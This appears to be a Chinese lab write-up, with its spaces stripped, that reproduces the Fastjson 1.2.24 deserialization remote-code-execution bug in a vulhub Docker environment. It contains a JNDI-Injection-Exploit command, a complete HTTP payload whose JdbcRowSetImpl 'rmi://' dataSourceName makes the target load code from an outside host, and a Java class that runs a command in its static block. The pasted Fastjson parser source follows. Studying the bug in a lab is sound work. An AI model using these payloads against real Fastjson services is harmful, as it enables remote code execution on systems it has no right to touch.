cd vulhub/fastjson/1.2.24-rce
docker compose up -d
访问 8090 端口服务,开启恶意服务
1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/baozongwi" -A "154.36.152.109"
发送数据包
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST/HTTP/1.1Host:154.36.152.109:8090Cache-Control:max-age=0Upgrade-Insecure-Requests:1Cookie:JSESSIONID.b1f176ee=node014bva1kp2vq14rv5nqb9eyg0x0.node0Accept-Encoding:gzip, deflateAccept-Language:zh-CN,zh;q=0.9User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Content-Type:application/json{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://154.36.152.109:1099/axpxbe","autoCommit":true}}
packageorg.Base;importcom.sun.org.apache.xalan.internal.xsltc.DOM;importcom.sun.org.apache.xalan.internal.xsltc.TransletException;importcom.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;importcom.sun.org.apache.xml.internal.dtm.DTMAxisIterator;importcom.sun.org.apache.xml.internal.serializer.SerializationHandler;importjava.io.IOException;publicclassEvalextendsAbstractTranslet{static{try{Runtime.getRuntime().exec("open -a Calculator");}catch(IOExceptione){e.printStackTrace();}}@Overridepublicvoidtransform(DOMdocument,SerializationHandler[]handlers)throwsTransletException{}@Overridepublicvoidtransform(DOMdocument,DTMAxisIteratoriterator,SerializationHandlerhandler)throwsTransletException{}}
Fastjson 默认只会反序列化 public 修饰的属性反序列化的时候需要给 parseObject\parse 的第二个参数赋值为 Feature.SupportNonPublicField 通过它才能操作私有字段。
publicfinalObjectparseObject(Mapobject,ObjectfieldName){JSONLexerlexer=this.lexer;if(lexer.token()==8){lexer.nextToken();returnnull;}elseif(lexer.token()==13){lexer.nextToken();returnobject;}elseif(lexer.token()!=12&&lexer.token()!=16){thrownewJSONException("syntax error, expect {, actual "+lexer.tokenName()+", "+lexer.info());}else{ParseContextcontext=this.context;try{booleansetContextFlag=false;while(true){lexer.skipWhitespace();charch=lexer.getCurrent();if(lexer.isEnabled(Feature.AllowArbitraryCommas)){while(ch==','){lexer.next();lexer.skipWhitespace();ch=lexer.getCurrent();}}booleanisObjectKey=false;Objectkey;if(ch=='"'){key=lexer.scanSymbol(this.symbolTable,'"');lexer.skipWhitespace();ch=lexer.getCurrent();if(ch!=':'){thrownewJSONException("expect ':' at "+lexer.pos()+", name "+key);}}else{if(ch=='}'){lexer.next();lexer.resetStringPosition();lexer.nextToken();if(!setContextFlag){if(this.context!=null&&fieldName==this.context.fieldName&&object==this.context.object){context=this.context;}else{ParseContextcontextR=this.setContext(object,fieldName);if(context==null){context=contextR;}setContextFlag=true;}}Mapvar38=object;returnvar38;}if(ch=='\''){if(!lexer.isEnabled(Feature.AllowSingleQuotes)){thrownewJSONException("syntax error");}key=lexer.scanSymbol(this.symbolTable,'\'');lexer.skipWhitespace();ch=lexer.getCurrent();if(ch!=':'){thrownewJSONException("expect ':' at "+lexer.pos());}}else{if(ch==26){thrownewJSONException("syntax error");}if(ch==','){thrownewJSONException("syntax error");}if((ch<'0'||ch>'9')&&ch!='-'){if(ch!='{'&&ch!='['){if(!lexer.isEnabled(Feature.AllowUnQuotedFieldNames)){thrownewJSONException("syntax error");}key=lexer.scanSymbolUnQuoted(this.symbolTable);lexer.skipWhitespace();ch=lexer.getCurrent();if(ch!=':'){thrownewJSONException("expect ':' at "+lexer.pos()+", actual "+ch);}}else{lexer.nextToken();key=this.parse();isObjectKey=true;}}else{lexer.resetStringPosition();lexer.scanNumber();try{if(lexer.token()==2){key=lexer.integerValue();}else{key=lexer.decimalValue(true);}}catch(NumberFormatExceptionvar22){thrownewJSONException("parse number key error"+lexer.info());}ch=lexer.getCurrent();if(ch!=':'){thrownewJSONException("parse number key error"+lexer.info());}}}}if(!isObjectKey){lexer.next();lexer.skipWhitespace();}ch=lexer.getCurrent();lexer.resetStringPosition();if(key==JSON.DEFAULT_TYPE_KEY&&!lexer.isEnabled(Feature.DisableSpecialKeyDetect)){StringtypeName=lexer.scanSymbol(this.symbolTable,'"');Class<?>clazz=TypeUtils.loadClass(typeName,this.config.getDefaultClassLoader());if(clazz!=null){lexer.nextToken(16);if(lexer.token()==13){lexer.nextToken(16);try{Objectinstance=null;ObjectDeserializerdeserializer=this.config.getDeserializer(clazz);if(deserializerinstanceofJavaBeanDeserializer){instance=((JavaBeanDeserializer)deserializer).createInstance(this,clazz);}if(instance==null){if(clazz==Cloneable.class){instance=newHashMap();}elseif("java.util.Collections$EmptyMap".equals(typeName)){instance=Collections.emptyMap();}else{instance=clazz.newInstance();}}Objectvar57=instance;returnvar57;}catch(Exceptione){thrownewJSONException("create instance error",e);}}this.setResolveStatus(2);if(this.context!=null&&!(fieldNameinstanceofInteger)){this.popContext();}if(object.size()>0){ObjectnewObj=TypeUtils.cast(object,clazz,this.config);this.parseObject(newObj);Objectvar55=newObj;returnvar55;}ObjectDeserializerdeserializer=this.config.getDeserializer(clazz);Objectvar54=deserializer.deserialze(this,clazz,fieldName);returnvar54;}object.put(JSON.DEFAULT_TYPE_KEY,typeName);}else{if(key=="$ref"&&!lexer.isEnabled(Feature.DisableSpecialKeyDetect)){lexer.nextToken(4);if(lexer.token()!=4){thrownewJSONException("illegal ref, "+JSONToken.name(lexer.token()));}Stringref=lexer.stringVal();lexer.nextToken(13);ObjectrefValue=null;if("@".equals(ref)){if(this.context!=null){ParseContextthisContext=this.context;ObjectthisObj=thisContext.object;if(!(thisObjinstanceofObject[])&&!(thisObjinstanceofCollection)){if(thisContext.parent!=null){refValue=thisContext.parent.object;}}else{refValue=thisObj;}}}elseif("..".equals(ref)){if(context.object!=null){refValue=context.object;}else{this.addResolveTask(newResolveTask(context,ref));this.setResolveStatus(1);}}elseif("$".equals(ref)){ParseContextrootContext;for(rootContext=context;rootContext.parent!=null;rootContext=rootContext.parent){}if(rootContext.object!=null){refValue=rootContext.object;}else{this.addResolveTask(newResolveTask(rootContext,ref));this.setResolveStatus(1);}}else{this.addResolveTask(newResolveTask(context,ref));this.setResolveStatus(1);}if(lexer.token()!=13){thrownewJSONException("syntax error");}lexer.nextToken(16);ObjectrootContext=refValue;returnrootContext;}if(!setContextFlag){if(this.context!=null&&fieldName==this.context.fieldName&&object==this.context.object){context=this.context;}else{ParseContextcontextR=this.setContext(object,fieldName);if(context==null){context=contextR;}setContextFlag=true;}}if(object.getClass()==JSONObject.class){key=key==null?"null":key.toString();}Objectvalue;if(ch=='"'){lexer.scanString();StringstrValue=lexer.stringVal();value=strValue;if(lexer.isEnabled(Feature.AllowISO8601DateFormat)){JSONScanneriso8601Lexer=newJSONScanner(strValue);if(iso8601Lexer.scanISO8601DateIfMatch()){value=iso8601Lexer.getCalendar().getTime();}iso8601Lexer.close();}object.put(key,value);}else{if((ch<'0'||ch>'9')&&ch!='-'){if(ch=='['){lexer.nextToken();JSONArraylist=newJSONArray();if(fieldName!=null&&fieldName.getClass()==Integer.class){booleanvar59=true;}else{booleanvar10000=false;}if(fieldName==null){this.setContext(context);}this.parseArray(list,(Object)key);if(lexer.isEnabled(Feature.UseObjectArray)){value=list.toArray();}else{value=list;}object.put(key,value);if(lexer.token()==13){lexer.nextToken();Mapvar52=object;returnvar52;}if(lexer.token()!=16){thrownewJSONException("syntax error");}continue;}if(ch!='{'){lexer.nextToken();value=this.parse();if(object.getClass()==JSONObject.class){key=key.toString();}object.put(key,value);if(lexer.token()==13){lexer.nextToken();Maplist=object;returnlist;}if(lexer.token()!=16){thrownewJSONException("syntax error, position at "+lexer.pos()+", name "+key);}continue;}lexer.nextToken();booleanparentIsArray=fieldName!=null&&fieldName.getClass()==Integer.class;JSONObjectinput=newJSONObject(lexer.isEnabled(Feature.OrderedField));ParseContextctxLocal=null;if(!parentIsArray){ctxLocal=this.setContext(context,input,key);}Objectobj=null;booleanobjParsed=false;if(this.fieldTypeResolver!=null){StringresolveFieldName=key!=null?key.toString():null;TypefieldType=this.fieldTypeResolver.resolve(object,resolveFieldName);if(fieldType!=null){ObjectDeserializerfieldDeser=this.config.getDeserializer(fieldType);obj=fieldDeser.deserialze(this,fieldType,key);objParsed=true;}}if(!objParsed){obj=this.parseObject((Map)input,key);}if(ctxLocal!=null&&input!=obj){ctxLocal.object=object;}this.checkMapResolve(object,key.toString());if(object.getClass()==JSONObject.class){object.put(key.toString(),obj);}else{object.put(key,obj);}if(parentIsArray){this.setContext(obj,key);}if(lexer.token()==13){lexer.nextToken();this.setContext(context);Mapvar58=object;returnvar58;}if(lexer.token()!=16){thrownewJSONException("syntax error, "+lexer.tokenName());}if(parentIsArray){this.popContext();}else{this.setContext(context);}continue;}lexer.scanNumber();if(lexer.token()==2){value=lexer.integerValue();}else{value=lexer.decimalValue(lexer.isEnabled(Feature.UseBigDecimal));}object.put(key,value);}lexer.skipWhitespace();ch=lexer.getCurrent();if(ch!=','){if(ch!='}'){thrownewJSONException("syntax error, position at "+lexer.pos()+", name "+key);}lexer.next();lexer.resetStringPosition();lexer.nextToken();this.setContext(value,key);MaprefValue=object;returnrefValue;}lexer.next();}}}finally{this.setContext(context);}}}
publicvoidsetDataSourceName(Stringname)throwsSQLException{if(name==null){dataSource=null;}elseif(name.equals("")){thrownewSQLException("DataSource name cannot be empty string");}else{dataSource=name;}URL=null;}